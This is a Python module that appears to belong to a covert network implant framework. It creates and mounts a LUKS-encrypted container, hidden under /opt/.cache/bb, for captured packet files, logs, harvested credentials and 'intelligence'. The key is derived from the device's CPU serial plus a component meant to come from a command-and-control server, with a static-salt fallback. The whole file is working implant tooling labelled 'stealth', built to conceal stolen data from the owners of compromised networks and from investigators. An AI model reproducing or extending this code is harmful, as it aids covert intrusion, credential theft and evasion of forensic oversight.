#!/usr/bin/env python3
"""Encrypted storage module — LUKS container for all persistent data.

Manages a LUKS2 encrypted container for PCAPs, logs, credentials, and
intelligence data.  Key derivation attempts a network-derived key first
(HKDF with CPU serial + C2-fetched component), falling back to a config
passphrase if C2 is unreachable.
"""

import json
import logging
import os
import shutil
import subprocess
import time
from pathlib import Path
from typing import Optional

from modules.base import BaseModule
from utils.crypto import LUKSContainer, derive_network_key

logger = logging.getLogger(__name__)

# Subdirectories created inside the mounted LUKS container
STORAGE_SUBDIRS = ("pcaps", "logs", "baseline", "intel", "credentials", "config")


class EncryptedStorage(BaseModule):
    """LUKS encrypted storage with network-derived key unlock."""

    name = "encrypted_storage"
    module_type = "stealth"
    priority = -500  # Highest — other modules depend on storage
    requires_root = True

    def __init__(self, bus, state, config, engine=None):
        super().__init__(bus, state, config, engine)
        self._luks: Optional[LUKSContainer] = None
        self._mounted = False
        self._storage_path: Optional[str] = None
        self._container_path: Optional[str] = None
        self._passphrase: Optional[bytes] = None
        self._using_fallback_key = False

    # ------------------------------------------------------------------
    # BaseModule interface
    # ------------------------------------------------------------------

    def start(self) -> None:
        if self._running:
            return

        install_path = self.config.get("device", {}).get("install_path", "/opt/.cache/bb")
        self._storage_path = os.path.join(install_path, "storage")

        container_rel = self.config.get("security", {}).get(
            "luks_container", "storage/encrypted.luks"
        )
        self._container_path = os.path.join(install_path, container_rel)

        # Derive passphrase
        self._passphrase = self._derive_passphrase()

        # Initialize LUKS container
        mapper_name = "bb_storage"
        self._luks = LUKSContainer(
            container_path=self._container_path,
            mount_point=self._storage_path,
            mapper_name=mapper_name,
        )

        # Create container if it doesn't exist
        if not os.path.isfile(self._container_path):
            logger.info("Creating new LUKS container at %s", self._container_path)
            os.makedirs(os.path.dirname(self._container_path), exist_ok=True)
            size_mb = self._get_container_size()
            if not self._luks.create(size_mb, self._passphrase):
                logger.error("Failed to create LUKS container")
                self.state.set_module_status(self.name, "error")
                return

            # Format the filesystem inside the container
            if not self._format_filesystem():
                logger.error("Failed to format LUKS filesystem")
                self.state.set_module_status(self.name, "error")
                return

        # Open and mount
        if not self._luks.is_open:
            if not self._luks.open(self._passphrase):
                logger.error("Failed to open LUKS container — wrong key?")
                self.state.set_module_status(self.name, "error")
                return

        self._mounted = True

        # Create subdirectories
        self._create_subdirs()

        self._running = True
        self._pid = os.getpid()
        self._start_time = time.time()
        self.state.set_module_status(self.name, "running", pid=os.getpid())

        key_type = "fallback" if self._using_fallback_key else "network-derived"
        logger.info(
            "EncryptedStorage mounted at %s (key: %s)",
            self._storage_path, key_type,
        )

    def stop(self) -> None:
        if not self._running:
            return

        # Sync filesystem
        try:
            subprocess.run(["sync"], capture_output=True, timeout=10)
        except subprocess.SubprocessError:
            pass

        # Unmount and close LUKS
        if self._luks and self._luks.is_open:
            if not self._luks.close():
                logger.warning("Failed to cleanly close LUKS container")

        self._mounted = False
        self._running = False

        # Scrub passphrase from memory (best effort)
        if self._passphrase:
            self._passphrase = b"\x00" * len(self._passphrase)
            self._passphrase = None

        self.state.set_module_status(self.name, "stopped")
        logger.info("EncryptedStorage unmounted and closed")

    def status(self) -> dict:
        result = {
            "running": self._running,
            "pid": self._pid,
            "uptime": time.time() - self._start_time if self._start_time else 0,
            "mounted": self._mounted,
            "using_fallback_key": self._using_fallback_key,
        }

        if self._mounted and self._storage_path:
            try:
                stat = os.statvfs(self._storage_path)
                total = stat.f_blocks * stat.f_frsize
                free = stat.f_bavail * stat.f_frsize
                used = total - free
                result["container_size_mb"] = total / (1024 * 1024)
                result["used_mb"] = used / (1024 * 1024)
                result["free_mb"] = free / (1024 * 1024)
            except OSError:
                pass

        return result

    def configure(self, config: dict) -> None:
        self.config.update(config)

    # ------------------------------------------------------------------
    # Public API
    # ------------------------------------------------------------------

    def get_storage_path(self) -> Optional[str]:
        """Return the mount point for the encrypted storage, or None if not mounted."""
        return self._storage_path if self._mounted else None

    def get_subdir(self, name: str) -> Optional[str]:
        """Return the path to a named subdirectory inside encrypted storage."""
        if not self._mounted or not self._storage_path:
            return None
        path = os.path.join(self._storage_path, name)
        return path if os.path.isdir(path) else None

    # ------------------------------------------------------------------
    # Key derivation
    # ------------------------------------------------------------------

    def _derive_passphrase(self) -> bytes:
        """Attempt network-derived key first, then fall back to config passphrase."""
        # Try network-derived key: HKDF(CPU serial + C2 component)
        cpu_serial = self._get_cpu_serial()
        c2_component = self._fetch_c2_key_component()

        if c2_component:
            try:
                key = derive_network_key(
                    network_secret=c2_component,
                    device_serial=cpu_serial,
                )
                self._using_fallback_key = False
                logger.debug("Using network-derived LUKS key")
                return key
            except Exception as exc:
                logger.warning("Network key derivation failed: %s", exc)

        # Fallback: use a config-based passphrase
        self._using_fallback_key = True
        logger.info("C2 unreachable — using fallback LUKS key")

        # Derive from CPU serial + static salt (still better than plaintext)
        fallback_salt = b"bb-fallback-luks-key-v1"
        import hashlib
        return hashlib.pbkdf2_hmac("sha256", cpu_serial, fallback_salt, 100_000)

    def _get_cpu_serial(self) -> bytes:
        """Read CPU serial from /proc/cpuinfo or /sys/firmware/devicetree."""
        # Try /proc/cpuinfo Serial field (RPi, OPi)
        try:
            with open("/proc/cpuinfo", "r") as f:
                for line in f:
                    if line.strip().startswith("Serial"):
                        serial = line.split(":", 1)[1].strip()
                        return serial.encode("utf-8")
        except (IOError, IndexError):
            pass

        # Try machine-id as fallback
        try:
            with open("/etc/machine-id", "r") as f:
                return f.read().strip().encode("utf-8")
        except IOError:
            pass

        # Last resort: hostname-based
        import socket
        return socket.gethostname().encode("utf-8")

    def _fetch_c2_key_component(self) -> Optional[bytes]:
        """Attempt to fetch the key component from C2.

        Returns None if C2 is unreachable. The actual C2 client
        will be provided by the connectivity module.
        """
        # TODO: implement actual C2 key fetch via connectivity module
        # For now, check if a pre-staged key file exists (deployed with implant)
        key_paths = [
            "/opt/.cache/bb/config/luks_network_key",
            os.path.expanduser("~/.implant/luks_network_key"),
        ]
        for path in key_paths:
            try:
                if os.path.isfile(path):
                    with open(path, "rb") as f:
                        data = f.read(64)
                    if data:
                        return data
            except (IOError, PermissionError):
                pass

        return None

    # ------------------------------------------------------------------
    # Container setup
    # ------------------------------------------------------------------

    def _get_container_size(self) -> int:
        """Determine LUKS container size in MB based on available disk."""
        try:
            stat = os.statvfs(os.path.dirname(self._container_path))
            free_mb = (stat.f_bavail * stat.f_frsize) / (1024 * 1024)
            # Use 70% of free space, max 8GB, min 256MB
            size = int(free_mb * 0.7)
            return max(256, min(size, 8192))
        except OSError:
            return 1024  # Default 1GB

    def _format_filesystem(self) -> bool:
        """Open the container and format it with ext4."""
        try:
            # Open LUKS to get the mapper device
            if not self._luks.open(self._passphrase):
                return False

            # Format with ext4 (no journal for SBC — reduce writes)
            subprocess.run(
                ["mkfs.ext4", "-O", "^has_journal", "-q", self._luks.device_path],
                check=True, capture_output=True,
            )

            # Close — will be reopened in start()
            self._luks.close()
            return True
        except subprocess.CalledProcessError as exc:
            logger.error("mkfs.ext4 failed: %s", exc)
            return False

    def _create_subdirs(self) -> None:
        """Create standard subdirectories inside the mounted storage."""
        for subdir in STORAGE_SUBDIRS:
            path = os.path.join(self._storage_path, subdir)
            os.makedirs(path, exist_ok=True)
        logger.debug("Storage subdirectories created: %s", ", ".join(STORAGE_SUBDIRS))